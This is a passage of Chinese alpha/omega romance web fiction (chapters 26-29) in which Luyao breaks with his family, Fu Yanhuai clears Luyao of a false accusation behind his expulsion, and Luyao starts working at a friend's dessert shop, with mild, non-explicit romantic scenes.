傅家别墅的门今天竟然是关着的,鹿千星隔着门好像想挤进去,关清露也在,管家从屋内匆匆走出来。 鹿遥迟疑道,“是,但是他们怎么会来?” 今天他和傅晏淮都不在,而且分化当天他还被锁在鹿家的房间里,现在鹿千星和关清露又来了,是想干什么? 鹿遥蹙眉看着那边道,“时越,谢谢你送我回来。时间不早,你也先回家吧,我去看看怎么了。” “等等。” 夏时越警惕一把拉住鹿遥,“你自己过去我怎么放心?我和你一起去。” 第26章 第 26 章 断舍离 “鹿遥不在, 我们可以先进去等他呀。” 自从上次鹿遥分化被傅晏淮带走后,关清露和鹿千星就再也没有联系上鹿遥。先前几天说是发情期还能说得过去,但现在傅晏淮都已经重新出现在公司, 可鹿遥仍然没有联系二人的意思,这不由得让关清露隐隐觉得不好。 鹿千星说话有些急切, “他分化了,我们是他的家人, 一直联系不上他, 当然会担心。” 也不知道鹿遥有没有对傅晏淮说什么, 那天傅晏淮走时明显态度冷了不少, 鹿钟光回来后听说这件事当即恼火起来。他罕见又在家里发了火, 关清露还和他大吵了一架。 家里气氛不好, 关清露又天天念叨着鹿遥怎么会分化,鹿千星已经受不了了。 管家答得客气又敷衍,“傅总和鹿先生都还没回来, 等鹿先生回到家后我会告诉他您和鹿夫人来过。” 鹿千星脸色当即变了, “鹿遥是我哥哥, 难道我要找他还要提前经过他的允许吗?” 鹿遥走上前刚好听到这句话,他一时沉默下来。 夏时越在鹿遥旁边先惊奇道,“当然啊, 这也不是你家, 还能说进就进吗。” 鹿千星猛地回过头,关清露看到鹿遥怔怔移不开目光,“你真的分化成omega了,比你弟弟晚了二十多年…” 如果鹿遥能再早一点分化的话,她的境遇是不是可以改变,或许就不会像现在这样… 鹿遥隐约能察觉到关清露的想法, 不过关清露如今这样不上不下地维持着强装出的名流脸面,这不是仅仅靠着孩子分化的性别就能改变的事情。 关清露的期盼从最开始就不该寄托在别人身上。 鹿千星不认得夏时越,夏时越不喜欢参加那些无聊的宴会,他致力于创业赔钱,再创业再赔钱,乐此不疲。 鹿千星觉得夏时越有点眼熟,但又实在没印象,他警惕问了句,“你是谁,我们自己家里的家事,和你没有关系。” 夏时越已经开始冷笑了,鹿遥出声打断鹿千星,“你来找我有什么事吗?” 鹿千星忍住没有接着继续说,他小心打量了鹿遥两眼,“我…你不是分化了吗?我和妈妈来看看你。” 鹿遥被傅晏淮带走后鹿千星又仔细想了一下,觉得鹿遥应该是刚刚到鹿家的时候就已经快要分化了,鹿千星现在不知道鹿遥对分化当天的事到底还记得多少,他要试探鹿遥一下。 鹿遥平静道,“我没什么事,你们回去吧。” 最先不满意的竟然是关清露,她的声音听起来有些尖利,“你对你的家人就是这个态度吗?我们两个好心来看你,你竟然让我们走?” 这次没有轮到管家和夏时越有反应,鹿遥直接反问道,“是吗?把正在分化的我反锁进客房,这件事你真的不知情吗,妈妈?” 鹿千星没有想到鹿遥竟然全都记得,他难得感到心虚起来。 夏时越是第一次知道这件事情,他愣了一下随后怒道,“你们两个怎么好意思到这来指责鹿遥的?” 鹿千星恼羞成怒道,“就算是这样,你也该给我们一个解释的机会吧,你现在这是要干什么,打算和我们划清界限吗?” “是。” 鹿遥的回答出乎所有人意料,“从前鹿家抚养我的花销我会一分不差都还回去,妈妈。” 关清露震惊到忘记反驳,就这样听着鹿遥继续说了下去,“我不是您的拖累,但如果真的是因为我您才过得不好,那就让我离开吧。” 要斩断自己爱恨交织的亲情无疑是困难的,鹿遥面色苍白,但语气没有丝毫动摇。 他不能强迫一个人爱自己,就算这个人是他的妈妈。 或许所有的事都可以通过努力或者金钱来达到,但爱应该不能,关清露就是从来都不爱他,就算逼迫她也不爱。 更何况,鹿遥也从未想过要强求什么。 直到鹿遥几人进门,鹿千星才终于回过神,“他这话是什么意思?” 不可置信过后就是恼怒,鹿千星对关清露大声道,“妈妈,你看他…” 关清露惨淡的面色吓了鹿千星一跳,他终于意识到不对,感觉到了一点害怕。 鹿千星迟疑道,“您…” 关清露重重抓住鹿千星的手,她倔强道,“离开了他,我们当然能过得更好。小星,不管他,我们回家去。” 管家见两人离开才转身进门,夏时越不知道在对鹿遥说什么,鹿遥勉强对他笑笑。 管家给两人一人倒了一杯热花茶,夏时越也不知道该怎么安慰,他低声道,“其实这样也没什么不好,你现在分化成了omega,鹿家想要你做的事或许会越来越多。” “我知道。”鹿遥垂下眼道,“你说的是对的。” 夏时越叹了口气,“茶我就不喝了,傅晏淮是不是也快回来了?你先好好休息,明天还来店里,我们去见见员工,以后都要一起工作呢。” 鹿遥温声道,“好。” 其实鹿遥也不知道傅晏淮是不是快回来了,鹿遥清楚自己和傅晏淮之间身份地位的差距,他不敢也不能主动问这些。 管家也不好插嘴鹿家自己的事,他提了另一件能转移鹿遥注意力的事,“鹿先生,傅总让您把东西都搬到他卧室,您看是现在就搬,还是等吃完晚饭?” 鹿遥差点忘了,他看了看时间,“先搬东西吧,我的东西不是很多,搬完应该刚好赶上晚饭时间。” 管家没有异议,“好。” 傅晏淮的卧室连着一间很大的衣帽间,鹿遥找到一个空的柜子放自己的衣服。 他自己的东西真的不是很多,填满柜子的是傅晏淮让Kevin给他做的那些。 鹿遥仰头看着塞得满满当当的衣柜,他的衣服和傅晏淮的摆在一起,有种说不出的奇妙感。 管家走近问道,“就只有这些了吗?” 鹿遥迟疑一下,其实他自己原来的外套和睡衣并没有拿上来,鹿遥记得傅晏淮不太喜欢。 他没有把那几件衣服说出来,“是,都在这里了。” 管家点点头,“那好,我去把晚饭摆出来,您忙完就下楼吧。” 鹿遥走出连着的衣帽间,傅晏淮的卧室鹿遥虽然来过很多次,但他并不熟悉。每次来都在傅晏淮的易感期,他没有多余的精力打量房间内的陈设。 鹿遥默默地想,他最熟悉的只有这张床。 现在这张床上多了一床被子,鹿遥怎么看怎么别扭。 以后他真的会和傅晏淮一起,在这间房间里生活吗? 鹿遥只觉得十分不真实,不过这是他期盼已久的美梦成真,他小心翼翼关上门下楼。 晚饭只有鹿遥一个人,他想给傅晏淮发信息问问他什么时候回家,但又怕打扰他工作。 于是鹿遥就打开客厅的投影仪随便找了部电影看,外面的天色已经变暗,鹿遥趴在沙发上不知不觉睡着了。 傅晏淮回到家的时候已经是深夜,静音的电影还在播放,鹿遥枕在自己手臂上睡得很沉。 沙发边上的台灯还亮着,很显然鹿遥是在等他回来。 这种有人等他回家的感觉还是挺微妙的,鹿遥应该是有点冷了,他蜷缩起身体,把脸埋进手臂间。 傅晏淮脱下大衣罩在鹿遥身上,带着焦糖味道的白冷杉闻起来甜甜的,鹿遥迷迷糊糊睁开眼睛。 “晏淮…” 傅晏淮俯下身吻了下鹿遥的唇瓣,“等了多久了?” 这个场景真像是一对恩爱已久的爱侣,鹿遥心里慢慢膨胀起满足,他依恋地不自觉一直看着傅晏淮,“没有多久。” 傅晏淮忽然道,“伸手。” 鹿遥困惑地抬起双手,傅晏淮弯腰托着鹿遥tun瓣把他抱起来,他颠了一下调整位置,鹿遥红着脸慢慢把脸埋在他颈间。 傅晏淮抱他上楼,“今天关清露来过了?” 鹿遥的身体就僵硬起来,他担心傅晏淮不悦,鹿遥局促低声道,“她没有来做什么,很快就离开了。” 傅晏淮把鹿遥放到床上,对上鹿遥不安的双眼,傅晏淮想了下道,“你分化当天的鹿家的行为有很大异常,所以我顺便查了一下。” 鹿遥愣愣看着他。 “吉乾集团研发的易感期特效针剂会在下个月全面问世,这个针剂或许能解决我信息素抵抗的问题。” 鹿遥眼睛睁大,傅晏淮继续说了下去,“所以沈泰借着这次合作的机会带上沈谨言来试探我的意思,沈谨言答应鹿千星带他出入宴会获取资源,条件是拖住你两天,不要让你和我一起回傅家。” 在鹿遥反应过来之前,傅晏淮就已经开口,“沈家越界,所以这次我和他们的合作终止了。” 傅晏淮的话轻描淡写,但这足以在商圈内引起不小的震动。 或许有一点点鹿遥的原因,但傅晏淮更多是自己的权威被挑衅。他在用这件事警示所有别有心思的人,虽然他和那些老奸巨猾的长辈相比资历太浅,但他仍然是傅家唯一的s级继承人,他的尊严和地位不可撼动。无论是以什么方式接近,傅晏淮都不会允许这种试探他底线的事一再发生。 鹿遥显然一时间无法迅速消化这么多信息,傅晏淮摩挲了一下鹿遥的侧脸,“你家里的情况,你自己看着办,我不多插手了。” 鹿遥怔愣道,“哦,好,我知道了。” “还有一件事。” 傅晏淮疑惑道,“你以前在大学的时候就和沈谨言认识吗?你为什么会中途退学了?” 鹿遥瞬间攥紧身下的床单,“我,我们其实不认识,但是…” 他艰难道,“他向学校举报了我在校外进行…交易,还在论坛里上传了图片,所以,我就没有再读书了。” 第27章 第 27 章 甜品店 傅晏淮显然没有查得这么多, 鹿遥的话让他罕见有点惊愕。 傅晏淮很确定鹿遥不会做这样的事,他看着鹿遥蹙眉问道,“这是什么时候的事?是什么样的图片?” 看来傅晏淮真的已经不记得了。 不知道为什么, 鹿遥此时还有些难以启齿,“是在一个酒会上, 我去兼职做酒侍,不过那些事情我真的没有做过, 那些照片只是错位的。” “那现在呢。”傅晏淮耐心道, “你退学了, 这件事情被澄清了吗?” 鹿遥无法回答这个问题, 维护自己的权益其实是一件费时又费力的事, 他没有为自己澄清的资本。 如果是面对其他人问出这个问题, 鹿遥还不会有什么感想。但现在对面的人是傅晏淮,鹿遥为自己感到羞窘,他低下头道, “没有。” 两人间静默的时间有点长, 鹿遥忐忑抬眼, 傅晏淮这才若有所思开口,“没关系,这件事不难办。” 以防沈泰做多余的小动作, 这件事是一件很好的能摆到明面上的借口。 而且, 没有读完大学,的确是一件很遗憾的事。 鹿遥原本应该会有更光明灿烂的人生。 傅晏淮不知道这种感觉就叫心疼,他只是心里微微有些酸涩不适,他再次笃定承诺道,“我会解决的。” 鹿遥并没有受宠若惊以及激动,他有点困惑道, “解决什么?” 这个事件里唯一能解决的看来看去只有鹿遥自己。 傅晏淮敷衍摸摸鹿遥的头发,“不用担心这些,先休息吧。” 趁傅晏淮不注意,鹿遥偷偷抬手检查了一下自己的头发有没有翘起来,他乖乖往里挪了挪,“好。” 管家新拿了一床被子,鹿遥缩在里面,只占据了床的一小块地方,看起来软fufu的。 “我睡觉不踢被子,不会打扰到你的。” 傅晏淮今天要鹿遥搬进卧室只是临时起意,但现在他得承认这其实是个不错的决定。 傅晏淮单膝压在床上把鹿遥慢慢拉了过来,“还是盖我的吧。” 鹿遥的发丝凌乱铺在枕头上,傅晏淮微笑道,“这样我就低头就可以咬到你的腺体了。” (拉灯) 第二天鹿遥起床的时候傅晏淮就已经离开了,他猛地从床上坐起来,忍不住懊恼自己最近一直都在起晚。 今天还要和夏时越一起到店里,鹿遥掀开被子下床,扯到腰间肌肉忍不住酸得嘶了一声。 鹿遥面色微红抬起头,又刚好对上镜中自己满身斑点红痕的身体。 和傅晏淮一起睡的夜晚实在太超出预计了。 鹿遥边穿衣服边忍不住地想,他还以为傅晏淮只有在易感期才会这样。 这和以前傅晏淮不近人情又矜贵的形象不一样,alpha最近在床/上表现得很坏,这种逐步显露出来的占有欲让鹿遥有些难以应付。 但总归应该是好事。 鹿遥原本想直接去找夏时越,但他刚刚走下楼梯就看到客厅餐桌上放着一束红玫瑰,管家正在一旁喷水。 鹿遥愣了一下,管家向他道,“鹿先生,早上好。” 其实已经快要中午了,鹿遥羞赧回了一句,随后又忍不住问道,“这是您订的吗?” 管家解释道,“傅总以前也曾经叫人订鲜花送到家里来,您既然喜欢红玫瑰,我就都换成了这个。” 鹿遥下意识道,“那,傅总、喜欢什么样的花?” 当着管家的面,鹿遥叫不出口傅晏淮的名字,他总觉得不好意思。 管家思忖道,“傅总没有什么特别喜欢的,而且今天早上花卉送过来的时候傅总见到了。他说既然您喜欢,就都订这个就好。” 管家特意挑了傅晏淮下楼吃早饭的时间摆放鲜花,傅晏淮随口问了一句怎么摆了颜色这么鲜艳的。 管家就终于有机会说出那句话,“鹿先生喜欢红玫瑰呢。” 傅晏淮顿了顿,“那以后就都摆这个吧。” 早上时间紧,管家没有来得及说更多,但这两句简短的对话就足以看出傅晏淮和鹿遥感情突飞猛进。 管家大为欣慰。 鹿遥面色微红,“这样啊。” 那傅晏淮应该也是有一点点喜欢他的。 管家接着道,“厨房给您留了早饭,您要出门吗?我去叫人备车。” 鹿遥有点恍惚,他觉得自己好像真的和傅晏淮组建起一个家庭了。 “好,麻烦您了。” 在鹿遥吃早饭的时候,沈泰已经到了傅氏集团。 傅晏淮对于他的到来并不感到惊讶,沈泰在助力之前一把推开办公室的门停在门口。 傅晏淮抬头看了一眼,他随口对助理道,“去倒杯水。沈董事长,请坐。” 助理点点点应是,沈泰脸上表情很僵,他隐含着怒气到沙发上坐下。 “傅总,我看在你父亲的面子上叫你一声傅总,可你未免也有一些太不把我们盛朗集团放在眼里了。” “您是因为合作终止这件事来见我,还是因为沈小少爷的事。” 沈泰的话很不客气,但傅晏淮没有任何多余的表示。 他平静道,“我不相信您真的什么都不知道。” 沈泰怒道,“傅总,你如果看不上谨言大可以直说,何必找出这么个借口?谨言还能有什么事,不就是这两天替我来了几次傅氏集团…” 傅晏淮眼底有讥嘲一闪而过,沈泰面色微变,他想到了点其他的什么。 屋内一时安静下来,沈泰往后靠在椅背上,“我听不懂傅总在说什么。” “没关系。”傅晏淮并不生气,“无论您听不听得懂,我们的合作都不能再进行。” “我原本以为沈谨言只是和鹿遥在同一所大学上学,但我没有想到,他们竟然一起出现在了四年前的酒会上。沈董事长,您说这算不算是缘分。” 沈泰冷冷看着傅晏淮,什么也没有说。 傅晏淮站起身,礼貌,但带着天然上位者的倨傲。 “沈董事长,请。” 沈泰直到进到车里脸上还是阴沉得能滴出水,他刚刚关上车门,那边沈谨言的电话就迫不及待打了进来。 “爸爸,怎么样,傅晏淮都说了什么?” 沈谨言的声音不再像之前那么从容轻柔,他焦灼道,“为什么傅氏集团的态度忽然转变,傅晏淮是不是…” 他是不是知道了什么。 “原本这次合作最大的目的也是为了把你介绍给傅晏淮。” 沈泰冷哼道,“既然他不识趣,我们也没必要上赶着。” 沈谨言不甘心道,“可是这么多年过去,什么事情都没有发生,怎么会这么突然…是不是鹿遥和傅晏淮说的?” 沈泰长叹口气,“谨言,我知道你一直都喜欢傅晏淮,可是就像他自己说的,信息素抵抗他是不会怎么样,你是实在会有危险的。虽然说下个月药剂会上市,但是鹿遥在这个时候又分化了。孩子,算了吧,京城也不止他傅晏淮一个alpha。” 沈谨言不知道该怎么算了,像他们这样家世的孩子从小都是经常见面的,傅晏淮对他从来不多理会,沈谨言就以为傅晏淮是这样的性子。 可是那个酒会,傅晏淮却主动帮一个穷酸的beta解了围。 沈谨言不能接受自己竟然被这样的人比了下去,好在瞌睡就有人递枕头,就在这个时候,鹿千星和关清露出现了。 沈谨言不愿意过多回忆这段不太光彩的往事,他只是想彻底隔绝鹿遥和傅晏淮见面的机会,但最后,傅晏淮的伴侣竟然是鹿遥。 沈谨言咬了下唇,“我们的合作真的不能再进行了吗?” 沈泰示意开车,“傅晏淮态度很坚决,不过到底都是低头不见抬头见,他不会把事情做绝,只是想警告一下不要越界。” 沈谨言呼出口气,“好,爸爸,我知道了。” 沈泰略带无奈地看着已经挂断的手机屏幕,傅晏淮的确足够强大到能吸引所有人的目光,但作为一个alpha,沈泰觉得他要加强的地方还有很多。 等到沈泰离开后助理才端着茶水进来,他躬身在傅晏淮耳边低声道,“京城大学内部论坛的帖子都已经删掉了,澄清已经小范围发出去,您看还有什么需要要做的吗?” 傅晏淮的眼睛没有离开电脑,“就先这样吧,先等两天看看,过段时间约一下王院长吃饭。” 既然是被污蔑,那学校资料里就不能是劝退。 考上这所大学,又一个人攒下两年多的学费,鹿遥应该付出了很多。 “是。” 其实这件事情做到删帖就可以结束,但傅晏淮还是继续把更麻烦的部分做了下去。 这样以后在鹿遥离开他的时候,也不至于完全措手不及。 鹿遥这次再来店里已经完全记住了路线,他刚到店门外就被员工的规模吃了一惊。 “鹿遥,你快来!” 夏时越一眼就看到门口的鹿遥,鹿遥笑笑走近,“不是两天后才营业吗?” 夏时越兴高采烈拉过鹿遥,“加上你,甜品师一共五个,怎么样?我打算就按最基础的定菜单,以后的品类可以再慢慢研发。” 鹿遥也不懂开店的事情,他点点头,“好,都听你的。” “别啊。”夏时越笑嘻嘻搂住鹿遥,“你和我一起忙活,那你就对这些流程很熟悉了,万一你以后要自己开店,肯定一下子就能做起来。” 夏时越传授的经商经验不是一般人可以听取的,不过,鹿遥真的很想拥有一家自己的甜品店。 “好啊,那到时候你一定要来,如果有你帮忙的话,那家店的生意一定会很好。” 鹿遥的真诚让夏时越的事业心再次膨胀,“好!你果然很有眼光。” 鹿遥如果要开店的话他当然要去啦,他不仅要去,还要投资。 鹿遥是他的好朋友,不管发生什么,他都会支持鹿遥的。 第28章 第 28 章 补偿 虽然还没有开始正式营业, 但鹿遥依然和其他甜品师一起在厨房试了一下新的机器。 夏时越还把夏文进的助理叫了过来,助理比夏时越靠谱很多,有他在, 夏时越的任务就只剩下在店里闲逛。为了让自己显得不那么无所事事,他过去帮鹿遥打下手, 看鹿遥做甜品。 新的工作环境很好,鹿遥和其他甜品师一起烤了香香甜甜的小蛋糕, 鹿遥和大家坐在一起品尝。 鹿遥对现在的生活很满足, 能得到现在拥有的这些就已经很让他惊喜了, 他现在只希望这样的日子能一直持续下去。 助理还需要回公司, 很快就离开了, 夏时越和所有人讲述自己的宏图伟志讲得十分兴起, 鹿遥在一旁跟着笑了一会,起身去洗手间。 鹿遥低头洗手擦干,腺体贴失效了, 他要重新贴一个。 或许是因为傅晏淮等级过高, 能维持12h的腺体贴只贴了一上午就已经挡不住白冷杉的味道, 鹿遥对着镜子侧身摘掉。 焦糖很微弱地挤在过多的白冷杉中间,汁水丰沛的腺体很敏感,鹿遥的指尖不小心擦过那里的皮肤, 他的身体跟着抖了抖。 昨晚傅晏淮咬得太多了, 鹿遥努力让自己表现得正常一些,他翻到新的腺体贴重新贴好。 傅晏淮好像很喜欢咬他的腺体,喜欢在口中把腺体吸吮成不同的形状,喜欢看鹿遥因为他的动作而哭泣。 鹿遥没有立刻走出洗手间,他打开通风系统在里面让自己的脸降温。 鹿遥看着镜子愣神,等到热意稍稍退散一些他准备离开, 贴着口袋的手机却忽然响了起来。 是个陌生号码。 鹿遥有点疑惑地接起来,“您好?” “鹿遥,我们谈谈吧。” 鹿遥沉默一瞬,“你是沈谨言?” “是。” 沈谨言承认得很干脆,“关于你从学校退学的事。” 鹿遥从来没有释怀,他只是不能有异议地被迫接受。可偏偏就在他逐渐放下的时候,这件事又重新被提起了。 “好,你想说什么?” 沈谨言却没有直接进入正题,“盛朗集团这次和傅晏淮的合作终止了,我爸爸到公司去见他,傅晏淮却突兀提起了你。” 沈谨言的眼中终于迸发出浓浓的不甘和恨意,“那场宴会,本该被介绍给傅晏淮认识的人是我。我父亲为此争取了很多,连文夫人都知道。” “知道和同意是两件事。”鹿遥指出他话中的漏洞道,“傅家从不插手傅晏淮自己的私事,你应该也很清楚。” “而且,傅晏淮那时候也并不认识我。” 傅晏淮帮他或许是心血来潮,或许是有其他目的,但鹿遥没有说谎,傅晏淮丢下那句话就直接离开了。后续的情形鹿遥也不清楚,他被经理好言好语劝离了那里,那次兼职也就无疾而终。 就和他的学业一样。 沈谨言自顾自地接着说了下去,“我不能让你再有接近他的机会,刚好,你的弟弟鹿千星早就看不惯你在京城大学读书。接下来的发展,你就也都清楚了。” 鹿遥垂下眼无声地嘲讽一笑。 “所以,你到底想说什么。” “我可以和你道歉。”沈谨言抓着手机的手十分用力,鹿遥能从他的语气中听到一点屈辱。 “但你要去和傅晏淮提,让盛朗集团重新加入这次商业合作。” 鹿遥不可思议地反问道,“你怎么会觉得傅晏淮会听我的?” 沈谨言是不是疯了,鹿遥从不认为自己可以动摇傅晏淮的决定。 沈谨言却十分笃定,“他一定会听。鹿遥,以前的事孰是孰非我也不想再纠缠,但这次…” “我不会说的。”鹿遥打断了他,“我也不需要你的道歉,这三个字没有那么值钱。” 对不起能抵过那张毕业证书吗,太廉价了,鹿遥不屑于要。 沈谨言大约是没有想到鹿遥会说这样的话,电话那边一时没了声音。 “如果这就是你的目的,那我想我们没什么好说的。” “等等…” 鹿遥没有再听沈谨言继续说下去,他直接挂断了通话并拉黑。 做完这些他的情绪仍然久久没有平复,鹿遥在洗手间内胸口起伏了很久才慢慢平静下来。 这通意料之外的来电还是影响到了鹿遥的心情,他抿唇推开门走出去,远远看到聚在一起说笑的一大群人停住。 好奇怪,鹿遥摊开手掌看了看。 虽然这的确是件很糟心的事,但是他真的很久没有这么生气过了。 鹿遥经常失落和难过,但是他是一个很少发脾气的人。 鹿遥困惑地回头看了看,“是因为信息素吗,还是什么。” 怎么会忽然情绪失控呢,难道是分化的后遗症? 鹿遥离开的时间有点长,夏时越往洗手间的方向张望了一下,看到鹿遥停在门口不知道在干什么。 “鹿遥!”夏时越大声喊他,“快过来啊,在干什么?” 鹿遥回神,他索性不再多想刚刚的古怪,“来了!” 除了这个小插曲,今天在店里过得都十分顺利。 鹿遥没有要管家派车来接自己,而是又晃晃悠悠坐地铁回去。 鹿遥又重复每天回家的流程,独自吃晚饭,整理一下卧室,等傅晏淮回家。 收拾房间不算很累,毕竟傅晏淮的卧室一直都很整洁,只看手机也很无聊,鹿遥宁愿找点事情做。 今天放的电影是个轻喜剧,但鹿遥还是看着看着就睡着了,又是傅晏淮到家才把他叫醒。 鹿遥坐起来后有点懊恼,“可能是昨天睡得太晚了,我没有等多久。” 傅晏淮的外套比鹿遥大两圈,鹿遥裹在里面显得很小一只。 “昨晚没有收住。”傅晏淮随意开口,“去上楼睡吧。” 鹿遥面色微红仰起头,“那,你还可以像昨天那样。” 还可以像昨天一样抱他上楼吗? 傅晏淮挑眉,俯下身等鹿遥抱紧他肩膀。 很爱撒娇,又粘人。傅晏淮漫不经心地想着,这样来看,鹿遥的确很像个omega没错。 回到卧室,鹿遥有点紧张地偷偷看了眼傅晏淮,故作不经意提起,“盛朗集团,不和傅氏合作了吗?” 傅晏淮闻言侧头,“谁和你说了什么吗。” 他猜测道,“妈妈?还是管家?” “都不是。”鹿遥连忙开口解释,“我只是听说盛朗集团的董事长姓沈,我觉得我以前好像…” “是沈谨言。” 这次傅晏淮直接确认了,不过他很快就接着蹙眉道,“他联系你做什么?” 鹿遥忐忑道,“他只是提了一点以前的事,觉得这次合作终止和我有关。” 这句话一说出口鹿遥觉得自己真是太自恋了,虽然这件事的确是很奇怪,但是怎么想傅晏淮也不会因为他终止商业合作。 鹿遥紧接着又补上一句,“我知道不是,只是沈谨言怪怪的,如果不方便告诉我也没关系。” 傅晏淮隔着腺体贴揉了一下鹿遥的腺体,鹿遥的体温迅速上升,他羞怯往旁边躲了一下,“别…” “是有一部分你的原因。” 傅晏淮撕开腺体贴,像拆开一块可口小蛋糕的包装袋。 鹿遥连自己接下来要做什么动作都忘记了,他愣愣看着傅晏淮,傅晏淮凑近他颈间闻了一下,焦糖味道比中午稍稍浓郁了一些,但白冷杉的味道还是基本都盖住了。 的确不能再进行标记了,刚刚发育成熟的腺体还不能分泌如此大量的信息素,七天的发情期里鹿遥每一滴分泌出的腺体/液都派上了用场,现在分泌的速度已经赶不上标记的浓度了。 鹿遥的心跳在耳边咚咚地响着,“是,你的意思是,但是你怎么会知道我和沈谨言以前曾经见过?” 说完鹿遥就觉得自己在犯蠢,傅晏淮想知道什么当然都能知道。 “我知道当年退学不会是你的错,沈谨言说什么你都不用理会,助理的电话你不是有吗?下次直接让沈谨言联系他就可以。” 鹿遥的眼眶有些湿润,这样简单的一句,‘退学不是你的错’,鹿遥从未从别人口中听到过。 鹿遥拼命忍着自己的眼泪不落下来,那些来自四面八方的攻击在此刻终于可以消散,至少傅晏淮是相信自己的。 鹿遥故作无事道,“好,下次我不会再接了。” 傅晏淮听出了鹿遥语气中的哭腔,他微叹让鹿遥靠着自己,“论坛上的帖子都删掉了。” 鹿遥怔愣抬眼。 “调监控花费了一点时间,澄清需要慢慢来。” 这是傅晏淮第一次哄一个omega,“被劝退不能复学,不过如果处分本身就不正确,或许你的学籍还可以恢复。到时候你如果想回去上学也可以,不想去也可以。不想再和沈谨言打交道就推给助理,我已经告诉了安保系统不让鹿家人进来,你想做什么都好。” 陪伴他许久,又被他完全标记的omega,再加上一点点无关痛痒的喜欢。 鹿遥得到了傅晏淮的专属特权,尽管并不能长久。 突如其来的幸福和感到让鹿遥不知所措,他把眼泪蹭在傅晏淮肩上,“晏淮…” 傅晏淮果然很好很好,和那一年在宴会上他替自己解围时一样好。 鹿遥满心甜蜜,但同时他又有点自卑,“可是我没有什么能感谢你的。” “没关系。”傅晏淮不在意,“这是你的补偿。” 补偿?补偿什么呢。 鹿遥没有深想傅晏淮的这句话,他乖顺地露出自己的腺体,尽自己所能地抚慰自己的alpha。 真好,他喜欢的人,现在也开始逐渐喜欢上他了。 第29章 第 29 章 不适 两天后咖啡厅正式开始营业, 真正客流量的多少不好说,因为有极大一部分都是来给夏时越捧场的。 不过夏家小少爷不在乎赚多赚少,他对创业持有满满的激情, 兴致非常高。 “不知道明天客人会有多少。”鹿遥今天忙了一整天,他比夏时越看着还担心一点, “虽然附近就是大学,但今天店里的学生不太多呢。” 夏时越托腮道, “应该没事吧, 开着开着自然就会好起来了。” “好吧。” 鹿遥也只好道, “我们可以想办法在学校里面做一做宣传, 或者注册一个网络账号也可以。” 比起生意, 夏时越明显有更关心的事。 “这两天沈家怎么忽然消停下来了?”夏时越凑到鹿遥跟前低声发问, “都说是沈谨言惹了傅晏淮不高兴,但是应该不会吧,沈谨言会敢得罪他?” 提起傅晏淮, 鹿遥眼神专注又温情, 他带了一点点羞涩回道, “其实具体是怎么回事我也不清楚,不过傅晏淮说,他知道我退学不是因为我的错。” 夏时越只觉晴天霹雳, 鹿遥的样子看起来像是陷入恋爱的甜蜜中。 他担心这只是鹿遥一厢情愿的热恋, 夏时越想了想换了个方式问道,“那傅晏淮这两天还和以前一样吗?合作有没有受影响什么的。” 鹿遥回忆了一下,“应该没有吧,他还是和以前一样的。” 傅晏淮还和以前一样,但鹿遥的状态却和一个月前大不相同了。 “那,你们两个现在的生活, 你喜欢吗?” 鹿遥笑起来的时候眼睛很亮,“很喜欢。” 夏时越看鹿遥心满意足的样子心中五味杂陈,但愿只是他多想了。鹿遥是一个很好满足的人,傅晏淮随便的举动就可以让他安心,只是感情中双方的不对等还是让他忍不住心生忧虑。 不过夏时越并没有把自己的担忧表现出来,“那就好。白天我们一起工作,晚上回家你和傅晏淮一起休息,其实也挺不错。” 鹿遥点点头,“我也觉得这样就很好了。” 夏时越看看时间,“有点晚了,我送你回去吧。” 傅家和夏时越住的地方并不顺利,鹿遥不想让夏时越绕远,“那你就把我送到旁边的地铁站吧。” 两人对彼此的脾气都已经很熟悉了,夏时越一边拿上东西一边站起身,“其实就算你天天叫管家来接送你也不会怎么样。” 难道傅晏淮还差这一点油钱吗?他天天忙来忙去赚得盆满钵满,也没见到给鹿遥什么。 鹿遥总觉得这样会麻烦到别人,他习惯了自己解决生活中的所有事。 “下次太晚的话我会说的。” 鹿遥也跟在夏时越身后出去,“其实在外面走一走也还不错,今天天气很好。” 两人随口说着再平常不过的闲话推开门,傍晚的天色将暗未暗,店门口停着一辆黑色加长商务车。 鹿遥愣了一下,这车看着有点眼熟。 夏时越不确定地仔细看了看,“难道是管家准备的?可是管家怎么会叫这种车来?” 不会吧,这么不低调。 车门开了,但下来的人却是傅晏淮的助理。 “鹿先生。” 助理对夏时越礼貌点头问好,随后他看着鹿遥道,“傅总今天下班时间早,刚好接您一起回家。” 鹿遥都没想到傅晏淮会来接自己,他看着很惊喜,“他也在车上吗?” 助理向后比了个请的手势,“是,已经等了您一会儿了。” 鹿遥就连忙回头对夏时越道,“那我今天先…” 夏时越理解道,“你走吧,我也回家去了。” 从鹿遥的背影都能看出他此刻的开心,夏时越看鹿遥急匆匆上车,他自言自语道,“今天倒是还人模狗样的。” 看来的确是洗心革面了,不错。 鹿遥不知道夏时越的想法,他贴着腺体贴,并没有露出信息素的味道,不过身上带了甜品店独有的甜甜的气味。 在傅晏淮的眼中,的确就是一块甜软可口的小点心。 “你今天怎么来了?”鹿遥又黑又圆的眼睛满是依恋和欣喜,他小心翼翼问道,“没有影响到你的工作吧。” “没有。” 傅晏淮轻轻捏了一下鹿遥的脸,“今天不是开业的第一天吗?感觉怎么样。” “还好。”鹿遥微微脸红道,“每个甜品师分配的订单数量都差不多,比起上一份工作要轻松很多。” 傅晏淮这才回忆起鹿遥曾经待过的另一个店,他随口问道,“之前那个店主还来找过你吗?” 鹿遥摇头,“没有再来了。” 全权代理的律师果然很有用,傅晏淮满意了,“既然喜欢,那就一直在这里吧,夏家人都还不错。” 傅晏淮的不错指的是夏时越没什么坏心思,而且创业屡战屡败,看起来不是很聪明,鹿遥适合和这样的人交朋友。 鹿遥这样全身心依赖的姿态和纯粹的喜欢其实很能取悦到傅晏淮,他心下微微一动,降下车内挡板。 “过来一点。” 鹿遥听话地凑过去,傅晏淮搂住鹿遥,低声在他耳边问道,“累了吗。” 鹿遥红着脸低头,“不累。” 傅晏淮唇角上扬,“刚好,我也不累,看来今天可以晚睡了。” 鹿遥忍着羞赧抬眼对他笑的样子真的很动人,或许在当下那短暂的一刻,傅晏淮的的确确为他而心动过。 傅晏淮还不知道心动比千金更珍贵,所以他轻飘飘把这份悸动抛之脑后。 这样平静的生活一直持续了一个月,鹿遥仔细经营来之不易的幸福。鹿遥的状态肉眼可见地变好,夏时越也逐渐放下心。 只是这两天鹿遥总是没精神,很困又睡不醒,早上在迟到边缘徘徊。 店里的客流量逐渐稳定,生意不算很多,所以夏时越改为轮班制到店,今天轮到鹿遥在家休息。 鹿遥困倦地勉强睁开眼睛,已经九点了。 “又起晚了。” 